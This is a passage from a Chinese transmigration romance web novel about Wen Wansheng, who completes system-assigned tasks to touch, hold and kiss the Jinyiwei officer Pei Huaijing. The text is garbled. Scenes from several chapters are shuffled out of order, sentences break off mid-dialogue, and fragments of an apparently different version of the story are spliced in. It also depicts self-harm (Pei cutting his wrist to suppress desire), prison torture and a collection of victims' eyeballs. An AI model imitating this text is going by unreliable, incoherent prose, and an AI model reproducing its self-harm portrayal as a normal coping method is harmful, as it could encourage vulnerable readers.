阿姜明知温晚笙说的只是客套话,也听得心生欢喜。 隔壁的几个女子在议论裴怀璟,温晚笙离得近,不想听也听了进去:“裴公子如今还未成婚吧。” “没呢。” 温晚笙心道,裴怀璟这辈子都不会成婚,因为作者没给他配,命里没带妻,没一丁点艳福,身处po文的他过得比和尚还清心寡欲。 她优哉游哉地坐着,耳听八方,尽纳八卦入肚,听着听着,她听到了来者不善的系统音。 “触发恶毒女配任务,请宿主牵裴怀璟的手,时限五天。” 还有完没完了? 温晚笙忘记自己还在宴席上,刷的一声站了起来。 裴怀璟前脚刚入席,后脚就看到温晚笙在女席那边杵着,男席这边看得一清二楚,有一小部分男子以为出事了,纷纷抬起头来。 这是裴馨宁的生辰宴,裴怀璟不能置若罔闻,起身过去想问问是什么情况,走近后发现温晚笙的眼神飘过来,似乎落到……他的手。 裴怀璟指尖无意识动了下。 她口干舌燥,进房喝水,几个来回方解渴,整个人都舒畅了:“我是解决了一件烦心事。” 烦心事。 生意场上的烦心事?陶朱似懂非懂道:“原来如此。” 不管怎么样,安然无恙回来就好,陶朱放油糕到桌上,没着急吃,掏帕子给她拭汗:“瞧您满头大汗的,奴伺候您沐浴更衣。” 温晚笙汗涔涔的,皮肤被汗弄得滑腻,也想沐浴清爽身子,换掉衣裳,便由着陶朱去备浴汤。 家中富裕的闺阁小姐,浴汤都会混些香料,净肤留香。 李氏只有她一个女儿,什么都要给温晚笙争最好的,香料也是,每个月送到她院中都是上好的,对身体有益,且香气持久。 温晚笙是温家的姑娘,这些琐碎小事不过耳,一般交由房里的大丫鬟陶朱打理,自己不过问。 她褪去抹胸,踏进浴汤,入鼻就是虽不浓但难散去的香。 陶朱:“三夫人待七姑娘真好,这款香料在京城可是一盒难求,多少人想买都买不到,还是三夫人费尽心思托人买下的。” “多少钱?”比起香料难得,温晚笙更想知道买它要多少钱。 “十两银子。”十两银子对京中一些达官贵人来说算不得什么,却够普通人家丰衣足食一年了。因为官员的俸禄虽不高,但耐不住他们喜欢搜刮民脂民膏。 而温三爷的俸禄也不多,李氏的嫁妆却多,她偶尔会买些“奢侈品”给温晚笙用,不让他知道。 李氏一直防着温三爷呢。 这款香料之所以会那么出名,是因为它一月只卖十盒,卖给谁会记录在账,不许多买。陶朱一一向温晚笙道来:“可不就稀罕。” 温晚笙恍然大悟,饥饿营销。 她啧啧称道:“这玩意儿是金子做的吧,太能赚钱了。”说着说着,声音低下去,“香料的利润大,不失为一条路子。” 陶朱看出温晚笙的心思,好笑道:“您心里除了做生意,还有什么?瞧您掉进钱眼里去了,若喜欢钱,寻个有钱的夫婿……” 她反驳:“自己赚的钱不一样,旁人的钱终究是旁人的。” “奴说不过您。” 温晚笙捧起浴汤来闻了闻:“之前没留意,还真挺香。” 陶朱回道:“您用了它已有半月有余,如今身上都是这股香气,闻习惯了,没留意正常,其实您用过的东西也会沾上香气呢。” “你刚说什么?”温晚笙忽而神色一凛,抓住陶朱的手。 她被温晚笙的反应弄得心漏半拍,讷讷重复一遍:“奴说您用了它半月有余,如今身上都是这股香气,闻习惯了,没留意正常。” “不是这句。” 陶朱说后半句:“其实您用过的东西也会沾上香气呢。” 糟了。 温晚笙沐浴的好心情一扫而空,草草地清洗一番披上衣裳,吩咐陶朱去拿笔墨纸砚。 温晚笙拿起一张纸,对她道:“你到外面候着。” 陶朱踌躇着往外走。 约莫半刻钟,温晚笙开门出来,让她闻闻纸上可有香气。 在通风的门外站了片刻后,陶朱一靠近那张纸就闻到了味道:“有的。是不是这香哪里出了问题,七姑娘,您别吓奴啊。” 温晚笙仰天长叹:“香没问题,但感觉我可能要有问题了。” 陶朱茫然。 第 45 章 第 45 章 东方泛白,晨光熹微。 “妈妈,妈妈” 榻上的少女双唇翕动,发出几不可闻的呓语。 昨夜还泛着潮红的脸,此刻白得像宣纸。 眼睫颤动了数下,才迟缓地掀开。 往日明亮灵动的杏眼,像蒙了一层薄翳,眸光涣散。 她怔怔看着陌生的天花板,目光虚浮,找不到落点。 就像一副失去灵魂的空壳。 “叩、叩。” 她惯用后者。温晚笙又道:“我还查到傅迟他经常到城门外的桃花树。” 女子呢喃:“桃花树?” “对。我猜那里可能有他留下的东西,本来今天想去看看的,但你找我,我就先来见……” 女子打断道:“谢谢你查到了这些,不过我今天过来是想让你不必再寻傅迟的下落,交易终止,算我违约,银钱照付。” 她探出手指了指楼梯拐角的箱子,示意温晚笙过去打开。 温晚笙走过去打开,一看有白花花的五十两,颇有重量,整整齐齐摆在箱里。她不推脱,收下钱:“我能不能问问为什么?” 女子没回就走了。 温晚笙一头雾水,但得了银钱还是很开心的。不用怕因傅迟的事再跟裴怀璟产生交集,她更开心,决定请陶朱在南山阁吃上一顿丰盛的。 单主都开口说不用她再找下去了,温晚笙自然不会庸人自扰,没事找事干,回归到自己的生活。 她习惯将“工作”和生活分开来,这样才能活得轻松。 到了南山阁,温晚笙听到不少食客在讨论谢家被抄家一事。她没怎么打听,去雅间找陶朱了。 陶朱正无聊到想拍苍蝇都没得拍,见温晚笙终于来了,起身端茶倒水:“奴来南山阁的时候遇到了裴三姑娘和世安侯府的世子。” 这才几天就约上会了?温晚笙边想边拉凳子坐下。 也是,原著里他们很早做上了,毕竟这是限制文,作者初衷为搞.黄。第一次就尝试高难度的姿势——在跑着的马背上做。 在马背上做,真的不怕掉下来变成残废?温晚笙对这本文的印象实在太深刻,想忘也忘不掉。她看了一眼陶朱:“他们看见你了?” “看见了。裴三姑娘说,后天想请你到郊外马场学骑马。” 听到马字,温晚笙眼皮一跳,不可描述的文章裴落一股脑钻进她脑子里,勾勒出淫.靡场景:“不去,以我身体不舒服为由拒了。” 陶朱琢磨后点点,认同道:“不去挺好的,奴听裴三姑娘说裴大人也会去,您跟他向来是面和心不和,少见面为妙。” 裴怀璟也去? 那夏子默后天应该不会对裴馨宁做什么,可裴怀璟去了,温晚笙就更不想答应去了,怕露馅。 她有太多事怕露馅了,写信表白、当街表白等。 温晚笙刚想转移话题,问陶朱要吃什么,某个该死的东西又来了:“触发恶毒女配任务,请宿主抱裴怀璟,时限八天。” 系统真是惜字如金。 不过到底还有多少任务?重活一世太难了,她趴在桌子上:“陶朱,我改变主意了,还是去吧,长这么大,我还没骑过马呢。” 她改主意改得太快,陶朱一时没反应过来:“姑娘放心,奴回到府里会提醒你回帖给裴三姑娘说不去的……什么?您去?” “砰”一声,有人从外面撞开门,数道颀长影子落入屋内。 男子紧绷着的身子一颤。 温晚笙透过柜缝看到了裴怀璟,他办差时会穿官服,红色飞鱼服在黑暗中尤其鲜明,腰窄腿长的,在一群锦衣卫中脱颖而出。 他神色轻松,不像来抓人,更像来欣赏夜色的。 裴怀璟半途在宴席上消失不见,是因为锦衣卫有任务?容不得她深思,只听裴怀璟一声令下,锦衣卫立刻走进来翻箱倒柜搜查。 锦衣卫这样搜下去,迟早会搜到柜子的,温晚笙身旁的男子清楚锦衣卫办差不会顾及平民百姓的性命,所以并没打算挟持她脱困。 男子屏住呼吸,松开她,打算冲出去殊死一搏。 他手刚碰上柜门,一把绣春刀穿破半指厚的木板,带来一阵冷风,刀尖倒映在温晚笙眼底,却正中男子头颅,鲜血涌出,溅到她的脸,温热温热的。 浓重的血腥味几乎将温晚笙淹没,一滴血水沿着她睫毛滴落。 她心脏跳动得极快。 柜子外,裴怀璟垂下手,并不急着拉开柜门,好整以暇地弯下腰,指尖抹去流到外面的血,勾起唇角笑,眼睛越过狭窄缝隙,与柜子里满脸是血渍的温晚笙对上。 不久后便是宵禁,行人渐少,街上的灯笼不知不觉中熄灭了大半,光线骤然黯淡下来,依稀可见两道人影在某瞬间交叠到一起。 温晚笙一手拎纸包着的冰糖葫芦,一手从裴怀璟身后牵住了他,拇指压住他手背,四指穿过他掌心,与没什么温度的皮肤相碰。 “任务完成”的提示音如约而至,传进她耳畔。 在裴怀璟推开她前,温晚笙先行松开他,看样子像是还有话没说完,想让他停下,一激动上手了:“抱歉,我不是故意的。” 裴怀璟垂下被牵过的那只手,宽大袖袍遮住微微泛红的皮肤。 “姑娘可是没带伞?” 温润的声音自身后响起,温晚笙从恍惚中抽离,转过头。 映入眼帘的,是一张全然陌生的面孔。 男子穿着国子监统一的青色襕衫,浆洗得略显陈旧,却干净整齐。 相貌只算得上清秀,不过着实温文尔雅。 应该是循正规途径入学的学子。 毕竟他们这些‘特殊班’的,没有衣着上的要求。 被容貌艳丽的少女这样注视着,男子握着伞柄的手指收紧了几分。 他的神色比适才更郑重了些,“姑娘若是不嫌弃,可同在下撑一把伞。” “不用了,”温晚笙客气地婉拒,“多谢公子好意。” 裴怀璟没去北镇抚司,回了裴家,他向父母问安后再回书房。 仆从在书房里备了净手的水,裴怀璟看书写字前有净手的习惯,他们会提前备好等他回来。 裴怀璟踱步到支住水盆的木架前,望着水面倒映出来的自己,伸手进去搅动,水波起伏,那张过分端丽的脸被分割。 水流淌过手,带来凉意。 手背上被温晚笙握出来的指印不知何时消下去了,裴怀璟端详片刻,将手从水里抽出来,用放在一旁的帕子拭去残留水滴。 书房西侧有一排一人高的书架,上面装的都是他看过的书。 裴怀璟过去拿出一本放在最底层角落的书,书一离开,书架就自动缓缓地向两侧拉开,后面竟然还有一排藏于墙中的书架。 这排书架装的不是书,而是一个又一个琉璃透明小罐,里面有药水,水中悬浮着两颗眼球。 他每次在诏狱里杀完人,都会留下他们的眼睛,带回来。 常言道,人的眼睛会说话,死人的眼睛也是。裴怀璟抬手拂过几个琉璃罐,血丝凌乱地黏在眼球的薄膜外面,白中混着红。 书架有上百个琉璃罐,装着上百双眼睛,它们好像在注视着他。裴怀璟也看着它们,没丝毫惧意,甚至有难以言喻的愉悦感。 男子并未露出半分窘色,望向檐外渐密的雨线,温和地笑了笑:“雨势瞧着要大了,姑娘待会儿怕是不好回去。” 温晚笙摇了摇头,礼貌笑道:“没事。” 男子犹疑片刻,复又道:“姑娘实在不必羞怯,在下不过顺路,绝无他意。” 听到‘羞怯’二字,温晚笙柳眉微微蹙了起来。 这人看起来一副书生模样,怎么就听不懂人话呢。 但她越是不接话,那男子越是执着。 她也听出来了,这是在搭讪。 一般人被拒绝一遍,也该放弃了,这人怎么就这么执拗呢。 到了后面,她实在有点忍不住了。 骏马奔腾,嘶嘶马鸣混着铁蹄声响彻天空,掀起一片尘埃。也有些马待在马厩里悠闲地吃着草料,一副岁月静好的模样。 温晚笙应约来马场,一下马车先看到的却是骏骑驰骋的画面。 马上之人身穿窄袖骑装,裤角束在黑靴里,腿显得更长了。她目光往上移,裴怀璟那张算不上熟悉,又算不上陌生的脸落入眼中。 他有股天生的文雅气质,即便骑装在身,看着也不像将军,更像随军为将军出谋划策的文臣。 可裴怀璟也只是看着像而已,并不是真正的文臣。 温晚笙在想今天能抱到裴怀璟的可能性,抱人是一个很亲昵的动作,他怎么可能随意让她抱? 牵手可以装作不经意,抱人怎么能装作不经意?感觉做生意都没抱他这件事难,温晚笙搓了搓早上起来就跳得厉害的右眼皮。 左眼跳财,右眼跳灾。 今天有灾? 也不是她迷信,可穿书这么玄乎的事都发生在她身上了,还是宁可信其有,不可信其无,不然她也不会整天对着财神拜了。 夏子默姗姗来迟道:“裴三姑娘,温七姑娘。翌日清晨,天还没亮,裴家高墙之内的院房悄然无声,露水藏于花草中,有些顺着枝叶滑落,渗透底下红泥,逐渐濡湿根部。 一只五彩鸟飞停在紧闭的窗前,低头挠身前绒毛,又用嘴去啄窗沿边。房间里,裴怀璟就是在鸟啄窗的“笃笃笃”声醒来。 他坐起来,没看腿间于无意识状态下自然起来的异样。 这是大部分男子晨起时都会偶尔遇到的情况,只是裴怀璟有些特殊,他若置之不理,它便会维持晨起状态,后来才知道原来这叫欲瘾。 可裴怀璟最厌恶的就是脱离掌控,所以他一次也没有舒缓过它,今天也不例外。裴怀璟拿出放到枕下的匕首,撩起衣袖,刀尖割腕。 刀尖所过处,薄薄皮.肉裂开,深红鲜血渗出,他随手拿帕子一擦,与此同时,腿间异样缓缓地消下,疼痛驱散欲瘾。 裴怀璟面不改色去换衣服。 白色里衣褪下,他一双刚劲有力的手腕暴.露在空气中,密密麻麻、纵横交错的伤疤如同一条条扭曲丑陋的蜈蚣,狰狞地嵌在皮肤上。” 温晚笙:“夏世子。” 跟温晚笙一起来的裴馨宁抬了抬眼,想看夏子默又担心自己表现得太明显:“夏世子。”接着面对裴怀璟的方向轻声喊:“二哥。” 裴怀璟下马朝她们走来,手牵缰绳,微微颔首:“夏世子。”顿了一下方道,“温七姑娘。” 温晚笙向他绽放了一个大大的笑容:“裴大人。” 陶朱神情古怪地看着她。七姑娘脑子被驴踢了?纵然她之前没和裴怀璟撕破过脸皮,做一些表面功夫,但也极少这样对他笑。 裴怀璟似乎没发觉不妥,也淡淡一笑,低头抚马鬃,大约是他太温柔了,马仰头蹭了蹭他的手。 裴馨宁的目光在温晚笙和裴怀璟二人之间来回跳跃。 她就是知道他们的关系不怎么样,才下定决心从中调和。裴馨宁拉过温晚笙,问裴怀璟:“二哥,你骑术好,可不可以教她骑马?” 温晚笙本想拒绝的,可想到自己要抱裴怀璟,保持了沉默。 这或许是个机会。 裴怀璟缓缓地收回抚马鬃的手,整理了下缰绳:“我可以,就是不知温七姑娘会不会介意。” “怎么会介意,那就麻烦裴大人了。”温晚笙抬步走向他。 拳头攥起来的瞬间,一道熟悉的身影闯进她的余光。 他没有看她,容色是一贯的淡漠,仿佛只是恰好路过。 眼看就要错身而过。 温晚笙心头一动,倏地伸出手,拉住少年的衣袖。 少年脚步顿止,停了下来。 她却不满足于此,指尖停顿了一下,顺势向下。 一把将自己的手,蛮横地送进了少年的手心。 旋即,她若无其事地晃了晃他们相握的手,冲着纠缠不休的男子露出一个自然的笑。 “真的不用,有人来接我了。” 第 46 章 第 46 章 男子的目光沉沉落在那双相握的手上。 眼底似划过恍然,还有一丝不易察觉的不甘。 少女锦衣华服,少年却是一袭简素白衫。 一贵一寒,不甚相配。 他别有深意地看了面无表情的少年一眼,随即收敛情绪,脸上重新挂起合乎礼仪的笑。 “是在下唐突了,打扰二位。” 脚步声很快被雨水吞没。 廊下,又只剩下他们两人。 裴怀璟的手比她的大出许多,掌心冰凉,指腹覆着一层薄茧。 透着一股介于少年与青年之间的清劲。 温晚笙一觉睡到日上三竿。 她不做噩梦了,改做一夜暴富的美梦,脸颊被房里间偏高的温度烘红,嘴角裂开笑,手舞足蹈,腿往上一踢,将被褥蹬到床下。 候在外间陶朱听到里间有东西掉地的声响,以为是温晚笙,急忙忙放下绣到一半的帕子进去。 只见床榻上的人安然无恙,遭殃的是昨天刚洗干净的被褥。 陶朱捡起被褥,放到罗汉榻,就在这时,门口变得嘈杂,不等她去问发生何事,温晚笙母亲李氏风风火火地撩开垂帘进来了。 李氏大步流星走到床榻边,拉起还沉浸在美梦无法自拔的温晚笙:“温乐允!你给我起来。”乐允是她的小字。 温晚笙睡眼朦胧,伸了个懒腰:“阿娘,你怎么来了?” 说着,她抱住了李氏。“才不是。”她否认。 温晚笙也不想守在北镇抚司附近盯梢的,只是为了完成任务,又听裴馨宁说裴怀璟忙于公事,常留宿在此,隔一裴时间才回裴家。 任务时限还剩下七天,温晚笙不能坐以待毙,总得出来努力找找机会,说不定就成功了呢。 吃完烧饼,温晚笙无聊地拍掉手上碎屑,打量起了北镇抚司。 黑瓦红柱,门前有数道石阶,两侧分别摆放着落地石灯和石狮、悬鼓,四个锦衣卫守在那里,他们皆是面无表情,腰挂绣春刀。 而“北镇抚司”的牌匾不失威严,且带着股专属于锦衣卫的张狂霸气,往上是庑殿顶,正脊两端如鸱尾,檐角垂挂着青铜铃铛。 温晚笙不知道自己在烧饼摊坐了多久,只知道屁股都坐疼了。 她站起来活动筋骨。 此时此刻,北镇抚司的漆黑大门开了,里面走出几人。 走在前面的青年穿着不变的金银绣绯红飞鱼服,鸾腰挂鱼符,黑色官帽,帽下眉眼如画,五官深邃,骨相偏柔,过分精致; 他跟一身腱子肉的其他锦衣卫比,略显清瘦,却又瘦而不柴,身形颀长,比他们高,不过垂在身侧的手莫名苍白,没什么血色。 温晚笙看着裴怀璟,没立刻上前,她要以什么借口接近他? 在来之前,温晚笙就仔细地思考过这个问题了,但直到看见裴怀璟从北镇抚司里出来,还是没想到适合的借口,实在太难想了。 长大后他们见面的次数屈指可数,还以不欢而散居多。 温晚笙敲了下发疼的脑门,要不改天,等想好借口再过来?就在她打退堂鼓的时候,感受到了一道来自北镇抚司门口的淡漠视线。 她心一悸,抬头看过去。 裴怀璟长身鹤立站在台阶之上,薄唇轻抿,眼帘低压,侧头望欲走还留的她,眼神淡淡,没多少情绪,仿佛无情无欲的仙人。 今早刚被他割过的腕已经止血了,腕间长袖被黑红护腕束紧,恰好贴着伤口,也掩着伤口。 他没出声喊温晚笙,像是想知道她意欲何为,只是静静看着。 她大概是坐了太久,长裙裙摆多了不少褶皱。不过面容依然俏丽,抓髻上面的丝绦被风吹到身后,露出胸襟前的莲花刺绣图案。 裴怀璟眼睫微动。 温晚笙心道反正都被看见了,今天不能白来一趟,多少得做点什么,于是硬着头皮走向北镇抚司,然后……被守门的锦衣卫拦住。 守门的锦衣卫不知道温晚笙是谁,警惕地瞪着她这个看起来想闯进北镇抚司的姑娘:“此为北镇抚司,闲杂人等不可进。” 温晚笙嬉皮笑脸:“我没说我要闯,我来找人。” 锦衣卫冷目:“找谁?” 她能来北镇抚司找什么人,北镇抚司里除了锦衣卫,就是被关押在诏狱里的罪犯,可锦衣卫的家属不会在他们当值期间找上门。 那么只剩下一个可能性了,这姑娘不懂规矩想进诏狱看罪犯。毕竟她衣着得体,模样出众,可能是哪个犯了罪的高官亲人。 温晚笙伸手指了指他们身后的裴怀璟:“我来找裴大人。” 锦衣卫下意识地往后看。 “大人。” 裴怀璟走下来,踱步到她面前问:“温七姑娘找我有何事?” 温晚笙眨了眨眼,笑意不减,急中生智:“我有件非常重要的事要跟你说,但不是太方便在这里说。不知裴大人现在是否有空?” 跟着裴怀璟的缇骑看了她一眼,忽然凑到他耳边说了几句话。 虽然缇骑说话的声音压得很低,但耐不住温晚笙就站在裴怀璟面前,距离近,断断续续听进一些。 “谢家活口”,“全城搜捕”,“监察御史张洵张大人弹劾”。 温晚笙早上刚听完母亲李氏提到过谢家和张洵这个人,对这几个字眼比较敏感。不过她还是不要多管闲事的好,好奇心会害死猫。 裴怀璟也不防着温晚笙,或者说不屑于防她:“人是在长兴巷逃走的,又受了重伤,想必跑不远,你带两队人挨家挨户搜。” 缇骑领命退下:“是。” 裴怀璟这才回答温晚笙的问题:“既然不方便在这里说,那温七姑娘想去哪儿?我随你去。” 温晚笙想了想:“南山阁。”没听到裴怀璟的回复,她又问了一遍:“南山阁可不可以?” 裴怀璟看着她微亮的眼睛,不知道在想什么:“可以。” 李氏掰开温晚笙的手,恨铁不成钢道:“你是我女儿,我这个当母亲的还不能来看你?还有,现在都什么时辰了,还赖在床上。” 这几天李氏的心里一直不平衡,她的女儿哪里比沈姨娘生的那个差了?凭什么温舒能攀上户部侍郎之子,温晚笙的婚事还没着落。 定是沈姨娘这贱蹄子给温三爷吹了不少枕边风。 温三爷更贱,身为朝廷命官,耳根子却软,把一个妾室说的话奉为圭臬。思及此,李氏愈发来气,恨不得将这两个贱人轰出去。 无论如何,她势必要给温晚笙找一门更好的婚事。 李氏怜爱地抚着温晚笙乌黑柔软的发丝,转过身对听铃院的丫鬟道:“都愣着干什么,还不快点进来为你们姑娘洗漱梳妆?” 知母莫如女,温晚笙大概知道李氏今天来听铃院的原因,故作不知罢了,顺着她的意起床去洗漱梳妆,也准备好听她的长篇大论。 可李氏一反常态,没开始她的长篇大论,而是让陪嫁婆子拿来一本小册子:“你看看。” 温晚笙不明所以,迟疑着接过它:“阿娘,这是什么?” 李氏越看她越觉得自己生的闺女真漂亮,卖关子道:“你打开看看不就知道是什么了。” 陶朱也好奇地探了探眼,温晚笙拧着眉翻开册子,里面是清一色的男子画像,右下方附有他们的姓名、年龄、家世背景等等。 她装傻充愣:“这些画像挺好看的,是阿娘你画的?” 李氏戳她脑门:“你别给我装傻,这些世家公子都是我精心挑选过的,不比户部侍郎之子差,你给我争气点,不能输给温舒。” 册子被李氏拿回去翻到第二页:“我看这个叫张洵不错。” 她滔滔不绝:“他父亲是御史大夫,他是监察御史,听说为人刚正不阿,不像温舒的定亲对象那样不学无术,也就是门第好看。” 陶朱也觉得温晚笙婚姻大事重要,听得聚精会神。 李氏絮絮叨叨道:“本来我有个更好的人选,就是谢家五郎,可谁知道谢家结党营私,被抄了家,幸好我当初没让你们相看。” “我曾见过谢家五郎一面,他生得那叫一个天人之姿,谈吐不凡,进退有度,姨母还是贵妃呢,真是世事无常,可惜了。” 她由衷惋惜。 婆子提醒李氏:“夫人,谢家之事还是少提为好。” 毕竟谢家因为结党营私惹怒了皇帝,连贵妃长跪求情也没改变他们的下场。谢家男子尽数处斩,谢家女眷没入教坊司为奴。 李氏后知后觉捂嘴:“你说得对,隔墙有耳。” 她不停地翻着那本小册子:“无妨,天底下又不止谢家五郎一个好男儿,咱们再找别的。乐允,你别干坐着听,看看。” 温晚笙刚睡醒,听着又犯困了,见李氏口若悬河,没半个时辰停不下来,她当机立断弯腰捂住肚子:“阿娘,我肚子疼,好疼。” “肚子疼?怎么就突然肚子疼了,昨晚吃错东西了?” 李氏正要唤人去请大夫,温晚笙从她臂弯下钻过去了。连几个身体强壮的婆子也没能拦住:“七姑娘,您要去哪儿,回来。” “温乐允,你给我回来。”李氏在婆子的搀扶下追到房门。 温晚笙好不容易让自己耳根子清静,怎么可能回去,直接遛出府外,但没来得及拉上陶朱。 她去了北镇抚司——门口百步外的陈记烧饼摊。 烧饼面脆油香,色泽金黄,两面洒满了芝麻,看得人胃口大开。温晚笙要了两个烧饼,还要了碗豆腐浆,坐在摊前的矮木凳上吃。 烧饼老板见她一个小姑娘眼也不眨盯着北镇抚司,来了兴趣:“大家都对北镇抚司避之不及,姑娘倒好,跟盯魂似的。” “我就随便看看。”温晚笙没想过裴怀璟会来这么干脆利落的一招,将锦衣卫集合起来让她听声音,不怕打草惊蛇? 她暗暗掐了自己一把,冷静下来,考验演技的时候到了。 为了缓解紧张,温晚笙观察起附近的陈设,这间堂屋大抵是用来供锦衣卫当值休息的,桌椅板凳齐全,还有笔墨纸砚。 最重要的是此处收拾得很整洁,散发着一股似有若无的沉香,清幽微凉,闻着愉悦舒适……有点像裴怀璟身上的味道,干干净净。 温晚笙揉了揉鼻子,目光越过他,看向别的地方。 堂屋南面挂着一幅抽象离奇的画,远看像普通的水墨画,近看像一只墨黑色的眼睛盯着你。 还怪诡异的,她心道。裴怀璟还有差事,不宜久留南山阁,要动身回北镇抚司。 温晚笙说要送他回去,裴怀璟从未听过女子对男子说这句话,不由得微愣,却也没拒绝她。 他们没有沿着来时路回北镇抚司,温晚笙选择了另一条路,北靠长兴巷,南靠朱雀街的西街。 传闻此街白天里最热闹,也最是鱼龙混杂,管理较为松散。 因为大燕曾有过万国来朝的辉煌,也海纳百川,特设西街安置外邦人。大部分来自各邦的商贾聚集在西街做生意,享受着燕律优待。 西街熙熙攘攘挤满了人,有的在卖力耍杂技,喷火、胸口碎大石、吞剑入喉、表演飞刀。有的闲庭信步,看好了就给个赏。 北面竹帘后方有张供人小憩的美人榻,薄毯枕头叠放得整整齐齐,旁边还放着几本书籍,能看出堂屋主人一丝不苟的性格。 看到最后,温晚笙鬼使神差地又看了眼那幅画,直到裴怀璟的声音响在耳畔,才勾回了她的魂。 “温七姑娘。”他声音不大,却够她听见:“要开始了。” “好。”温晚笙侧过脸,目光在裴怀璟淡红的薄唇停顿了几息。他有所察觉看过来时,她又像前两次那样自然而然地挪开了。 该死的,她就改不掉爱盯“任务目标”的臭毛病。 被夕阳染成金红的云霭,在雨水的洗涤下缓缓散开。 一道极淡却清晰的七彩弯弧,悄然横亘在天际。 暮色正在四合,却亮了几分。 趁他观景的功夫,温晚笙抽出手来,嘴角微微翘起。 “看到彩虹,是吉兆,”她看向他,“会有好事发生哦。” 裴怀璟望着少女亮晶晶的眼。 心里似有片羽毛搔着,不轻不重,落不到实处。 好事。 死亡吗? 便在这时,她毫无预兆地凑近一步,踮起脚尖。 第 47 章 第 47 章 距离在这一瞬骤然缩短。 近到能看清彼此眼中,倒映的细碎虹光。 她温热的气息,带着雨后微潮的清新,拂上他的下颌。 与他的呼吸交缠,融合在一起。 唇与唇,印在了一起。 他的唇和他的人一样,很凉。 却很软。 薄厚适中。 相贴的刹那,她清晰看见裴怀璟纤长的眼睫,颤动了一下。 是裴怀璟。 裴馨宁也看到他了,拾阶而上:“二哥,你怎么不进府?” “裴大人。”温晚笙行礼。 “温七姑娘。”裴怀璟回以一礼,望向她身旁的裴馨宁,神情温和,“我找温七姑娘有事。” 裴馨宁不知道他们经历过什么,更不知道温晚笙对他说过刺客的事,此刻一头雾水,困惑道:“二哥找乐允有事?什么事?” 裴怀璟:“也不是什么大事,以后有机会再跟你细说。” 话都说到这个地步了,裴馨宁不可能再缠着他们要解释,温晚笙虽与她二哥面和心不和,但他总不会伤害温晚笙,于是她回府去了。 裴馨宁单纯,遇事不会往其他方面乱想。陶朱却跟她截然相反,惊疑他们怎么走得那么近了。 发生了什么?她很不安。 等裴馨宁走远了,裴怀璟直视温晚笙,音色温柔:“不知温七姑娘可否随我去一趟北镇抚司。” 陶朱大惊,他为什么要她家七姑娘进北镇抚司?在她印象里,北镇抚司有进无出,还有吃人不吐骨头的可怖诏狱。 她担惊受怕,扯了下温晚笙的衣袂:“七姑娘?” 温晚笙安抚性地握了握陶朱的手:“没事的,你先回去,晚上吩咐小厨房做我爱吃的烧鸡。” 晚上吩咐小厨房做她爱吃的烧鸡,意味着会回温家吃晚膳,不会被扣在北镇抚司。陶朱听得出温晚笙话里话外的意思,可仍担心。 陶朱鼓起勇气问:“裴大人,七姑娘为何要去北镇抚司?” 裴怀璟面色如常:“我只是有事需要温七姑娘的帮忙,若温七姑娘不愿,也可以不答应的。” 温晚笙挑眉道:“愿意的。俗话说,助人为乐嘛。陶朱你放心,我不是犯了罪,别多想,弄得自己战战兢兢的,回去等我。” 事已至此,陶朱唯有从了,她看着又不像被人胁迫的。 陶朱坐上温家马车,温晚笙目送她离开,扭头就问裴怀璟:“裴大人要我去北镇抚司作甚?” 温晚笙也不知道裴怀璟为何要她去北镇抚司,因为这是他第一次主动来找她,好奇之下直接同意了,但刚才不问,不代表现在不问。 裴怀璟淡笑道:“你不是说过记得密谋刺杀我的人的声音?” “没错。”温晚笙眼神闪烁,在小巷子里听到密谋刺杀一事完全是她杜撰的,哪里记得什么声音,能记得他的声音就不错了。 半个时辰后,温晚笙终于知道裴怀璟带她到北镇抚司的原因了。 就是挨个听声音。 眼下她与他同坐在堂屋里的落地屏风后,屏风外是锦衣卫。 这一切源于她说密谋刺杀他的人里有一个锦衣卫,不过这事倒是真的,作者亲自写的剧情能不真?可温晚笙不知道是哪个也是真。 书上只写了锦衣卫里有叛徒,最后被裴怀璟揪出来杀了。温晚笙看着屏风外晃动的身影,如坐针毡,万一露馅了该如何是好。 她来不及过多感受,仓皇后撤。 蜻蜓点水的一掠,在分离时扯起一片酥麻战栗。 自唇瓣一路蔓延,直窜向后颈。 心跳在胸腔里擂鼓般轰鸣,雪亮的眸子里,却不含任何情愫。 温晚笙别过脸,去看天边那快要消失的彩虹。 心里默念,什么都没发生。 其实她自己也没想到,事情会进行得这么顺利。 预想中,以他的敏锐,她连衣角都不该碰到。 温晚笙用力抿了抿唇。 可等了片刻,耳边还是静悄悄一片。 她僵着脑袋,不敢去看裴怀璟现在的表情,在心里疯狂发问:“系统,你看到了吧,说话呀。不会又出bug了吧?” 舞蛇人跑着跑着跑出了西街,他今天不打算再在西街表演,先把这条还没拔除毒牙的毒蛇处理完,免得惹出更大的祸端。 他拿出拔毒牙的工具,掀开盖住竹篓的破布,想抓毒蛇出来,随后看见它无声无息躺着。 怎么回事? 舞蛇人检查了一下,惊讶地发现毒蛇被毒死了。他从那位大人手里接过蛇的时候,它明明还活着的,怎么现在突然就死了? 他忽然想起了那位大人说的最后一句话:“它惊扰了我,也得到了应有的惩罚,你带走吧。” 原来如此……舞蛇人打了个寒颤,然后挖坑把蛇埋掉。 他双目紧闭,呼吸平缓,身上常服是淡青色的,衬得整个人愈发清雅,腰间的嵌玉蹀躞带松开了,随手放在一旁,应该是为了休息时不让上面的玉硌到腰。 而他腰间只剩下一条薄薄的贴身细腰带,腰线若隐若现。 温晚笙不自觉想转身离开,怕打扰对方休息,但迈脚往外走的瞬间,脑海里突然冒出一个念头。 偷亲裴怀璟。 只是偷亲也太不道德了……而且搞得好像她暗恋他一样。可她也没机会光明正大亲他,管不了那么多了。机不可失,时不再来。 温晚笙做足了心理建设,把节操跟道德先扔一边,收回往外迈的脚,缓步走回去,停在美人榻前面,故意大声喊:“裴大人?” 没醒。 诏狱。 阴冷潮湿的地面淌着腥臭冲天的血水,痛苦呻.吟声此起彼伏,重刑之下的犯人早已眼泛迷离,身体脓血淋漓,骨头外露。 不远处身穿大红色飞鱼服的青年长身鹤立,低头慢慢翻看卷宗,神色自如,似没能闻到周围的血腥味,也没能听见凄惨的叫声。 良久,又一道痛吟声过后,犯人有气无力吐字:“我招。” 裴怀璟手指一顿,合起卷宗,貌若好女的面容微抬,目光越过幽暗的刑具落到犯人身上,然后踏过地上那些被剔出来的骨头。 犯人不自觉躲避裴怀璟的眼神,他长得如温润如玉的书生,举手投足透着平和,谁能想到他是行事果决狠辣的锦衣卫指挥佥事呢。 裴怀璟弯下腰看他,开口问:“你的同党有谁?” 处理完这件事,裴怀璟离开诏狱,刚出来就见有人行色匆匆往这里赶,跑到他面前,语气急促道:“大人,南山阁出事了!” 